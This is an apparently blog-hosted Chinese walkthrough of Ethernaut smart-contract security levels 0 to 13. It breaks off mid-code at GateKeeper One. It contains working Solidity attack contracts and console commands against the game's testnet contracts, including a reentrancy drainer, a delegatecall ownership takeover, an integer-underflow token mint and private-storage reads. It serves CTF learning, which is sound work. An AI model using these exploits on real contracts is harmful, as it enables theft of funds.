[区块链安全-Ethernaut]区块链智能合约安全实战-连载中

[区块链安全-Ethernaut]区块链智能合约安全实战-连载中

准备

随着区块链技术的逐渐推广,区块链安全也逐渐成为研究的热点。在其中,又以智能智能合约安全最为突出。Ethernaut正是入门研究区块链智能合约安全的好工具。

  • 首先,应确保安装Metamask,如果可以使用Google Extension可以直接安装,否则可以使用FireFox安装
  • 新建账号,并连接到RinkeBy Test Network(需要在Setting - Advanced里启用Show test networks,并在网络中进行切换)

    新建账号并连接到Rinkeby网络

  • 访问Faucet并获取测试币,每天都有0.1Eth的额度

现在就可以开始Ethernaut的探索之旅了!


0. Hello Ethernaut

本节比较简单,所以我将更关注整体过程,介绍Ethernaut的实例创建等等,自己也梳理一下,所以会更详细一些。

准备工作

进入Hello Ethernaut,会自动提示连接Metamask钱包,连接后,示意图如下:

成功连接Metamask


按F12打开开发者工具,在console界面就可以进行智能合约的交互。

Console页面

创建实例并分析

单击 Get New Instance 以创建新的合约实例。

可以看出我们实际上是通过与合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33交互以创建实例。在辅导参数中,调用0xdfc86b17方法,附带地址为0x4e73b858fd5d7a5fc1c3455061de52a53f35d966作为参数。实际上,所有关卡创建实例时都会向0xD991431D8b033ddCb84dAD257f4821E9d5b38C33,附带的地址则是用来表明所处的关卡,如本例URL地址也为
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966

创建合约交易界面


实例已经成功生成,主合约交易截图如下:

主合约交易截图


进入交易详情,查看内部交易,发现合约之间产生了调用。第一笔是由主合约调用关卡合约,第二笔是由关卡合约创建合约实例,其中实例地址为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822

实例创建合约内部调用


回到页面来看,可以确认生成实例的确为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822

页面合约创建成功提醒


下面我们将进行合约的交互以完成本关卡。

合约交互

此时,在console界面可以通过playercontract分别查看用户当前账户和被创建合约实例。player代表用户钱包账户地址,而contract则包含合约实例abiaddress、以及方法信息。

查看合约及用户信息


按照提示要求输入await contract.info(),得到结果'You will find what you need in info1().'

await contract.info()

输入await contract.info1(),得到结果'Try info2(),but with "hello" as a parameter.'

await contract.info1()`

输入await contract.info2('hello'),得到结果'The property infoNum holds the number of the next info method to call.

await contract.info2('hello')


输入await contract.infoNum(),得到infoNum参数值为42(Word中的首位)。这就是下一步要调用的函数(info42)。

await contract.infoNum()


输入await contract.info42(),得到结果'theMethodName is the name of the next method.,即下一步应当调用theMethodName

await contract.info42()


输入await contract.theMethodName(),得到结果'The method name is method7123949.

await contract.theMethodName()


输入await contract.method7123949(),得到结果'If you know the password,submit it to authenticate().

await contract.method7123949()


所以通过password()可以获取密码ethernaut0,并将其提交到authenticate(string)

找到密码并提交


注意当在进行authenticate()函数时,Metamask会弹出交易确认,这是因为该函数改变了合约内部的状态(以实现对关卡成功的检查工作),而其他先前调用的函数却没有(为View)。

在这里插入图片描述


此时,本关卡已经完成。可以选择Sumbit Instance进行提交,同样要签名完成交易

签名完成提交


在此之后,Console页面弹出成功提示,本关卡完成!

关卡完成

总结

本题比较简单,更多的是要熟悉ethernaut的操作和原理。


1. Fallback

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E
本关卡要求获得合约的所有权并清空余额
观察其源代码,找到合约所有权变更的入口。找到两个,分别是contribute()receive(),其代码如下:

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

按照contribute()的逻辑,当用户随调用发送小于0.001 ether其总贡献额超过了owner,即可获得合约的所有权。这个过程看似简单,但是通过以下constructor()函数可以看出,在创建时,owner的创建额为1000 ether,所以这种方法不是很实用。

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

再考虑receive()函数,根据其逻辑,当用户发送任意ether,且在此之前已有贡献(已调用过contribute()函数),即可获得合约所有权。receive()类似于fallback(),当用户发送代币但没有指定函数对应时(如sendTransaction()),会调用该方法。
在获取所有权后,再调用withdraw函数既可以清空合约余额。

合约交互

使用contract命令,查看合约abi及对外函数情况。

合约abi及函数


调用await contract.contribute({value:1}),向合约发送1单位Wei。

await contract.contribute({value:1})


此时,调用await contract.getContribution()查看用户贡献,发现贡献度为1,满足调用receiver()默认函数的最低要求。

await contract.getContribution()


使用await contract.sendTransaction({value:1})构造转账交易发送给合约,

await contract.sendTransaction({value:1})


调用await contract.owner() === player 确认合约所有者已经变更。

await contract.owner()  === player


最后调用await contract.withdraw()取出余额。

await contract.withdraw()


提交实例,显示关卡成功!

关卡成功

总结

本关卡也算比较简单,主要需要分析代码内部的逻辑,理解fallback()receive的原理。


2. Fallout

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x891A088f5597FC0f30035C2C64CadC8b07566DC2
本关卡要求获取合约的所有权。首先使用contract命令查看合约的abi及函数信息。

contract


查看合约源码,寻找可能的突破点。结果发现Fal1out()函数即为突破口。其代码如下:

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

对于Solidity来说,其在0.4.22前的编译器版本支持同合约名的构造函数,如:

pragma solidity ^0.4.21;

contract DemoTest{

    function DemoTest() public{

    }
}

而在0.4.22起只支持利用constructor()构建,如:

pragma solidity ^0.4.22;

contract DemoTest{
     constructor() public{

    }
}

但在本关卡中,很明显合约创建者出错,将Fallout写成了Fal1out。所以我们直接调用函数Fal1out即可获得所有权。

合约交互

使用await contract.owner()获取当前合约所有者为0x0地址。

await contract.owner()


调用await contract.Fal1out({value:1})实现所有权的获取。

await contract.Fal1out({value:1})


调用await contract.owner() === player确认已获取合约所有权。

await contract.owner() === player


提交实例,本关卡完成!

关卡成功!

总结

本关卡比较简单,主要考察对于合约细节和构造函数的理解和把握。


3. Coin Flip

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
本关卡要求连续10次猜对硬币的正反面

我们首先对代码展开观察,其代码示意如下图所示:

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

可知,硬币的正反面是由当前区块前一区块的高度所决定的。如果我们不知道当前区块高度是多少,就难以提前预知硬币的正反面。且同时,合约通过lastHash保证同一区块只能有一次提交。
此处我们将引入合约间调用的概念,正如我们在Hello Ethernaut关卡中分析的那样,合约也可以调用合约,具体操作则作为Internal Txns,但仍与初始调用处于同一区块中。所以我们可以新建自己的智能合约,提前预测硬币正反面,并向关卡合约发出请求。

实例创建合约内部调用

下面就到了合约间调用的内容了,其主要有几种:

  • 使用被调用合约实例(已知被调用合约代码)
  • 使用被调用合约接口实例(仅知道被调用合约接口)
  • 使用call命令调用合约

我们将编写自己的智能合约,从以上三个思路入手,实现合约间调用。

攻击合约编写

利用Remix在线编辑器编写合约,代码如下所示,其中CoinFlipAttack就是我们的攻击合约,而CoinFlipCoinFlipInterface都是为目标合约提供abi接口而定义的:

pragma solidity ^0.6.0;

// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";

// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip {
// 复制本关卡代码,此处省略....
}

// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker{
    
    using SafeMath for uint256;
    address private addr;
    CoinFlip cf_ins;
    CoinFlipInterface cf_interface;

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _addr) public {
        addr = _addr;
        cf_ins = CoinFlip(_addr);
        cf_interface = CoinFlipInterface(_addr);
    }

// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
    function getFlip() private returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        return side;
    }

// 使用被调用合约实例(已知被调用合约代码)
    function attackByIns() public {
        bool side = getFlip();
        cf_ins.flip(side);
    }

// 使用被调用合约接口实例(仅知道被调用合约接口)
    function attackByInterface() public {
        bool side = getFlip();
        cf_interface.flip(side);
    }

// 使用call命令调用合约
    function attackByCall() public {
        bool side = getFlip();
        addr.call(abi.encodeWithSignature("flip(bool)",side));
    }

}

合约交互

此时,我们选择0.6.12+commit.27d51765.js的编译器,通过编译,如下图所示:

合约编译


在部署页面,选择Injected Web3,连接Metamask钱包,调用攻击合约的构造函数,其中构造参数传入目标合约0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54

部署合约


小狐狸签名,合约部署完成,攻击合约地址为0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF,显示如下调用接口,我们接下来将分别从以下三种方式展开攻击:

攻击合约调用接口

  • 使用被调用合约实例(attackByIns)
    在调用前,我们有连续猜中次数为3,如下图所示:

    当前猜中次数


    点击attackByIns,弹出Metamask确认弹窗,确认,当前区块已成功挖出。

attackByIns


而此时连续猜中次数变为4,该方法验证成功!

当前猜中次数

  • 使用被调用合约接口实例(attackByInterface)

此时,连续猜中次数为4,点击attackByInterface,弹出Metamask确认弹窗,确认,当前区块已成功挖出。

attackByInterface

而此时连续猜中次数变为5,该方法验证成功!

当前猜中次数

  • 使用call命令调用合约(attackByCall)
    此时,连续猜中次数为5,点击attackByCall,弹出Metamask确认弹窗,确认,当前区块已成功挖出。

    attackByCall


    而此时连续猜中次数变为6,该方法验证成功!

    当前猜中次数

无论是哪种方法都可以实现同区块内的合约调用,但一定要注意gas limit的设置,如果不够会爆出out of gas或者reverted的错误,可以在小狐狸确认界面进行设置。

我们接下来可以使用任意调用再做4次直至到10,最终提交!
提交实例,本关卡完成!

关卡成功!

总结

本关卡主要考察solidity的编写及合约间的调用。我在做的时候遇到了很多gas相关的问题,以前不是很注意,现在要非常注意了!


4. Telephone

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xba9405B2d9D1B92032740a67B91690a70B769221
分析其合约源码,要求变更合约所有权,其突破口在于changeOwner函数,函数代码如下所示:

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }

其先决条件在于tx.originmsg.sender不相同,那我们应对此展开研究。

  • tx.origin会遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。
  • msg.sender为直接调用智能合约功能的帐户或智能合约的地址

两者区别在于如果同一笔交易内有多笔调用,tx.origin保持不变,而msg.sender将会发生改变。我们将以此为根据,编写智能合约,将该合约作为中间人展开攻击。

攻击合约编写

同样在remix中编写合约,合约代码如下,与上一关卡类似,通过interface接口创建合约接口实例,我们则通过attack函数执行攻击

pragma solidity ^0.6.0;

interface TelephoneInterface {
    function changeOwner(address _owner) external;
}



contract TelephoneAttacker {

    TelephoneInterface tele;

    constructor(address _addr) public {
        tele = TelephoneInterface(_addr);
    }

    function attack(address _owner) public {
        tele.changeOwner(_owner);
    }

}

合约交互

初始时,合约所有权尚未得到。

合约所有权尚未取得


我们在remix上部署合约,参数附带0xba9405B2d9D1B92032740a67B91690a70B769221以初始化被攻击合约接口实例tele。生成攻击合约地址为0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811

部署攻击合约

在remix上调用attack函数,参数为0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b即钱包地址。

attack


此时,再检查所有权发现已发生变更。

所有权已变更


提交实例,本关卡已成功通过。

Success

总结

tx.origin这个有很多合约在用,但如果使用不当,会引起很严重的后果。
比如说,我设置了合约,引起被攻击合约主动发起调用,在接受函数里展开攻击,就可以绕过tx.origin相关的安全设置。


5. Token

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3
由合约创建过程来看,应是实例创建合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33调用关卡合约0x63bE8347A617476CA461649897238A31835a32CE创建目标合约,并向player转账20token

代币分配信息

分析其合约源码,要求增加已有的代币数量,应该从transfer函数入手,函数代码如下:

  function transfer(address _to,uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

这里代码里犯了一个错误,那就是对于uint运算没有做溢出检查,举例来说对于8位无符号整型,会有0-1=255255+1=0的错误产生。我们就可以利用这一漏洞,实现代币的无限增发。

合约交互

调用await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)函数,注意此处不能给自身转账,因为会先出现下溢出,再出现上溢出,我们直接转账给关卡合约21个token,此时20-21发生了下溢出,达到最大值。此时,可以看到,代币余额发生了增长。

token数量增长


提交实例,本关卡通过!

Success!

总结

这就是为什么我们需要Safemath。写合约时一定要注意上溢出和下溢出!

6. Delegation

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d
本关卡要求**获取合约Delegation**的所有权。

对合约展开分析,源代码部分提供了两部分合约,一个是Delegate,另一个则是Delegation。两合约间通过Delegationfallback函数,基于delegatecall方法展开调用。

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }

对于Delegation合约来说,其内部找不到更换所有权的代码,我们就可以换个思路,看看Delegate合约里有没有。分析合约可以看到,pwn()可以实现。

  function pwn() public {
    owner = msg.sender;
  }

这时候可能有人会感到疑惑,DelegateDelegation是两个不同的合约,如果我们仅去修改Delegate里的owner,会对跨合约调用它的Delegation产生影响吗?

在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 calldelegatecall callcode,我们下面就要来分析以下三种跨合约调用方法的区别(以用户A通过B合约调用C合约为例):

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
  • delegatecall:调用后内置变量 msg 的值A不会修改为调用者,但执行环境为调用者的运行环境B
  • callcode:调用后内置变量 msg 的值会修改为调用者B,但执行环境为调用者的运行环境B

所以当时用delegatecall时,尽管我们是调用Delegate合约中的函数,但实际上,我们是在Delegation环境里去做得,可以理解为将代码“引入”了。因此,我们可以实现合约权的转移。

合约交互

初始化时,有合约所有权并不为player

并未获得所有权


使用contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})来发起调用,结果失败,仔细一看是因为fallback没有payable修饰。这是一开始的理解错误,观察不够仔细。

调用失败


去掉value,重新调用await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})。此时合约所有权已完成转移。解释一下,这里data是为了调用pwn函数,使用sha3编码并取了前4个字节,此处因为没有入参,所以作了简化。

获得所有权


提交合约实例,本关卡成功!

Success!

总结

合约间的调用需要非常谨慎,delegate原来是为了编程弹性,但如果处理不当,会给安全带来很大问题!


7. Force

不好意思,最近工作上略有些忙,因为工作涉及到对外网络安全贸易,所以最近一直忙着培训。但这块肯定会持续完成。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xa39A09c4ebcf4069306147035dd7cE7735A25532
本关卡要求给合约Force转入代币,但是究其合约,似乎并没有payable函数。那么我们该怎么做呢?

在实际中,如果要给智能合约转账,有几种常见方法。

  • Transfer: Throws exception when an error occurs,and the code will not execute afterward
  • Send: The transfer error does not throw an exception and returns true/false. The code will continue to execute.
  • call.value().gas: Transfer error does not throw an exception and returns true/false. The code will execute,but call functions for transfer are prone to reentrancy attacks.

三种方式存在一个前提,即接受合约必须能够接受转账,即存在payable函数,否则将会回退。

那么有没有其他方法呢?

However,there’s another way to transfer funds without obtaining the funds first: The Self Destruct function. Selfdestruct is a function in the Solidity smart contract used to delete contracts on the blockchain. When a contract executes a self-destruct operation,the remaining ether on the contract account will be sent to a specified target,and its storage and code are erased

也就是说,我们可以通过合约的自毁函数,将合约剩下的以太发送给指定地址,此时不需要判断该地址谁否能够接受转账。所以我们可以构建智能合约,完成自毁,即可实现攻击。

合约交互

合约本身并不提供余额查询,所以我们前往链上查询。此时合约余额为0。

目标合约余额为0


我们通过remix构建合约,其中写入自毁函数。

pragma solidity ^0.6.0;

contract ForceAttacker {

    constructor() public payable{

    }

    function destruct(address payable addr) public {
        selfdestruct(addr);
    }

}

新建合约,部署到Rinkeby测试网,合约地址0x7718f44c496885708ECb8CC84Af4F3d51338cb3C

部署合约

以被攻击合约为变量,调用destruct函数。

发动自毁攻击

此时可以看到,被攻击合约链上地址余额发生变化,从0变为了50。

自毁攻击成功


提交实例,本关卡成功通过!

关卡成功

总结

selfdestruct不会触发payable检查,如果没有很好的检查,很可能会对合约本身的运行带来难以预估的影响。为了防止黑客对于this.balance的操纵,我们应使用balance变量来接受特定业务逻辑的余额。


8. Vault

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x81E840E30457eBF63B41bE233ed81Db4BcCF575E

对合约展开分析,本关卡的要求是解锁,而解锁的唯一办法是输入正确的password。本关卡对password的定义是私有变量,那时不时就看不到了呢?

答案是否定的,一切变量都存储在链上,我们自然可以看到。现在问题就是,在哪看,用什么看?

第一个回答是用什么看?

web3.eth.getStorageAt(address,position [,defaultBlock] [,callback]),使用这个命令可以看到储存在某个地址的存储内容。
其参数代表含义如下:

String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest","latest" and "pending" can also be used.
Function - (optional) Optional callback,returns an error object as first parameter and the result as second.

一般来说,我们使用web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1",0) .then(console.log);,后面两个参数一般都是可选的。

第二个回答是怎么看?

以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽(slot),其初始值为 0。虽然数组容量的上限很高,但实际上存储是稀疏的,只有非零 (空值) 数据才会被真正写入存储。每个数据存储的插槽位置是一定的。

# 插槽式数组存储
----------------------------------
|               0                |     # slot 0
----------------------------------
|               1                |     # slot 1
----------------------------------
|               2                |     # slot 2
----------------------------------
|              ...               |     # ...
----------------------------------
|              ...               |     # 每个插槽 32 字节
----------------------------------
|              ...               |     # ...
----------------------------------
|            2^256-1             |     # slot 2^256-1
----------------------------------

每个插槽32字节,对于值类型,其存放是连续的,满足以下规律。

  • 存储插槽的第一项会以低位对齐(即右对齐)的方式储存
  • 基本类型仅使用存储它们所需的字节
  • 如果存储插槽中的剩余空间不足以储存一个基本类型,那么它会被移入下一个存储插槽
  • 结构和数组数据总是会占用一整个新插槽(但结构或数组中的各项,都会以这些规则进行打包)

例如以下合约

pragma solidity ^0.4.0;

contract C {
    address a;      // 0
    uint8 b;        // 0
    uint256 c;      // 1
    bytes24 d;      // 2
}

其存储布局如下:

-----------------------------------------------------
| unused (11) | b (1) |            a (20)           | <- slot 0
-----------------------------------------------------
|                       c (32)                      | <- slot 1
-----------------------------------------------------
| unused (8) |                d (24)                | <- slot 2
-----------------------------------------------------

回到本题,很明显存储摆放应该是

-----------------------------------------------------
| unused (31) |           locked(1)          | <- slot 0
-----------------------------------------------------
|                       password (32)                      | <- slot 1
-----------------------------------------------------

所以我们可以通过slot1获取password信息。

合约交互

输入await web3.eth.getStorageAt(contract.address,1)获取byte32 password

await web3.eth.getStorageAt(contract.address,1)


此时,合约仍然上锁(可通过await contract.locked())查询。

合约仍然上锁


调用await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')实现对合约的解锁。

解锁合约


此时,合约已经解锁。

在这里插入图片描述


提交实例,本关卡成功通过。

关卡成功

总结

区块链上没有秘密。


9 King

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2。对其合约展开分析,其合约功能在于以下代码段:

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

当接收到外来转账时,如果发送金额大于当前奖金,即将发送金额发送给当前国王,更新奖金,而发送者将成为新的国王。
本关卡目的在于打破这一循环。

打破这一循环的入手点就在于该函数交互实际上是一个连续的过程。

  1. 用户发送指定金额的以太。
  2. 合约将以太转发给当前国王
  3. 更新国王及奖金。

我们只要作为国王,拒不接受合约转来的奖金,整个过程即可回退。

攻击合约编写

我们同样在remix里编写攻击合约。如下:


contract KingAttacker {

    constructor() public payable{

    }

    function attack(address payable addr) public payable{
        addr.call.value(msg.value)("");
    }
    
    fallback() external payable{
        revert();
    }

} 

在接受函数,我们主动回退,即可防止合约继续执行。

合约交互

首先我们先看看当前我们需传入多少。在目标合约详情页面,可以看到,创建合约时传入0.001Ether。

合约详情


所以我们创建攻击合约(0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208)后,传入2Finney,调用攻击合约attack方法。

发起攻击


此时我们看看国王,使用await contract._king(),可以看出,国王已经变成攻击合约。

await contract._king()


提交合约,关卡成功!

关卡成功


查看链上数据可知,在执行过程中产生了回滚(revert)。

revert

总结

攻击时可以从合约执行的多个角度入手。


10 Re-entrancy

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e。对其合约展开分析,其合约提取函数如下:

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

这个合约的问题在哪里呢?那就是他弄错了记账、转账的顺序(先转账,再记账)。一般来说,我们去银行取钱,银行都会先在自己的账本上记一笔,然后才会把钱取出来给我们。虽然说,我们也不可能同时出现在两个地方取钱,但在区块链中,有没有可能呢?

答案是有的,如果我们在接受合约转账的同时又发起新的取钱操作,那么很明显,如果是连续的调用过程,在未修改账本的情况下,合约仍会给用户转账?

那么,怎样做才能保证实现连续的调用呢?那就是使用合约去与被攻击合约进行交互。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;


interface Reentrance{
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
    function balanceOf(address _who) external view returns (uint balanceOf);
}

contract Attacker {
    Reentrance ReentranceImpl;
    uint256 requiredValue;

    constructor(address addr) public payable{
    ReentranceImpl = Reentrance(addr);
    requiredValue = msg.value;
    }

    function getBalance(address addr) public view returns (uint){
        return addr.balance;
    }

    function donate() public {
        ReentranceImpl.donate{value:requiredValue}(address(this));
    }

    function withdraw(uint _amount) public {
        ReentranceImpl.withdraw(_amount);
    }

    function destruct() public {
        selfdestruct(msg.sender);
    }

    fallback() external payable {
        uint256 ReentranceImplValue = address(ReentranceImpl).balance;
        if (ReentranceImplValue >= requiredValue) {
            withdraw(requiredValue);
        }else if(ReentranceImplValue > 0) {
            withdraw(ReentranceImplValue);
        }
    } 
}


我们使用ReentranceImpl标记目标合约,使用requiredValue来表示合约在目标合约中存的钱。同时,我们又定义fallback函数,每当受到资金时,就会调用withdraw函数,从目标合约中提取余额。让我们进行合约交互。

合约交互

先查看合约本身有多少以太,在浏览器上查看,发现总共有0.001以太。

合约本身有0.001以太


所以我们在部署合约时传入500000000000000 Wei,这样能反复调用三次,以确认合约的攻击效果,同时我们传入目标合约地址0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e,部署后,攻击合约地址为0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287

首先我们查询合约本身余额,为500000000000000 Wei,其次我们查询目标合约余额,为1000000000000000 Wei。

合约本身余额


目标合约余额


我们利用donate函数向目标合约存入余额。

存入余额


此时,目标合约的余额也变成了0.0015Ether。
我们接下来发起攻击,即使用withdraw函数提取500000000000000 Wei。发起交易时,应在小狐狸界面修改gas。等待交易完成,此时有合约中实现了三笔转账。

攻击完成


而目标合约余额已经归零,攻击完成!

目标合约归零


提交实例,本关卡完成!

关卡完成

最后别忘了通过合约自毁(destruct)收回余额哦~

状态变化

总结

合约的设计应当充分谨慎,任意一点疏忽都会带来很大影响


11 Elevator

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE。对其合约展开分析,其合约核心代码如下:

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }

由于先判断isLastFloor,不满足后才进入if结构体,并再次获取isLastFloor。该合约于是想当然认为,第二次获取的结果依然不满足,是这样吗?

由于对外调用带来的影响,在外部调用时合约无法控制外部合约的行为。所以我们可以编写智能合约发起相关进攻。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;

interface   Elevator{
    function goTo(uint _floor) external;
}

contract Building {

    Elevator elevatorImpl;
    bool isTop;


    constructor(address addr) public {
        elevatorImpl = Elevator(addr);
        isTop = false;
    }

    function flip() public {
        isTop = !isTop;
    }

    function isLastFloor(uint) public returns (bool){
        bool res = isTop;
        flip();
        return res;
    }
    
    function attack() public {
        elevatorImpl.goTo(1);
    }
}

其核心之处在于,每次调用isLastFloor函数都会内部调用flip函数完成变量isTop的翻转,因此连续两次获取的结果是不一样的。

合约交互

输入await contract.top()查看是否为顶层,结果为false。

await contract.top()


部署合约,传入目标合约0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE,构建合约的地址为0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a

调用attack()函数,发起对目标合约的攻击。

attack()


此时,再次查看,输入await contract.top()查看是否为顶层,结果为true。

await contract.top()


提交实例,本关卡成功!

关卡成功!

总结

合约是难以相信的,即使合约编写的再好,无法控制他人的行为,也毫无用处。


12 Privacy

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf。对其合约展开分析,其合约核心代码如下:

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

此时,应当输入data[2],而这又该怎么获得呢?很明显,我们还是要从存储机制入手。

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

这是变量定义,对应的,我们有槽存储分布如下:

-----------------------------------------------------
| unused (31)    |          locked(1)               | <- slot 0
-----------------------------------------------------
|                       ID(32)                      | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) |  denomination (1) | flattening(1)  | <- slot 2
-----------------------------------------------------
| data[0](32)  | <- slot 3
-----------------------------------------------------
| data[1](32)  | <- slot 4
-----------------------------------------------------
| data[2](32)  | <- slot 5
-----------------------------------------------------

所以,data[2]存储在slot 5里。

合约交互

输入await web3.eth.getStorageAt(contract.address,5)得到data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'

await web3.eth.getStorageAt(contract.address,5)


此时bytes16与bytes32之间存在转换。要注意,以太坊有两种存储方式,大端(strings & bytes,从左开始)及小端(其他类型,从大开始)。因此,从32到16转换时,需要砍掉右边的16个字节。

我们该怎么做呢?即'0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)

手动拆分


之后,直接提交结果,准备解锁。contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d')

contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d


此时,合约已经完成解锁。

await contract.locked()


提交实例,本关卡成功!

关卡成功!

总结

还是那句话,区块链上没有秘密。


13 GateKeeper One

大家好 我又回来了。最近真的很忙,我抓紧8月份将这一系列完成,然后进行下一步内容的分享。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284。本关卡的目的是满足gateOnegateTwogateThree,成功实现entrant的修改。

那么我们需要怎么做呢?首先看一看modifier分别提出了什么要求。看看能否满足和修改?

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

分析gateOne,可以看出需要msg.sender != tx.origin,这表明我们需要一个合约作为中转。

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

分析gateTwo,这表明在执行到该步骤时,需要剩下的gas必须为8191的倍数,这需要我们对gas作出设定。

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),"GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey),"GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin),"GatekeeperOne: invalid gateThree part three");
    _;
  }

分析gateThree,这表明需要输入特殊的bytes8数据,保证其1-16位为tx.origin的数据且17-32位为0(uint32(uint64(_gateKey)) == uint16(tx.origin),),33-64位不全为0(uint32(uint64(_gateKey)) != uint64(_gateKey))。

所以我们可以整理思路,编写智能合约了。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    uint64 offset = 0xFFFFFFFF0000FFFF;
    bytes8 changedValue;
    Gate gateImpl;

    constructor(address addr) public {
        gateImpl = Gate(addr);
    }

    function getAddress() public {
        changedValue = bytes8(uint64(tx.origin) & offset);
    }

    function check1() public view returns (bool){
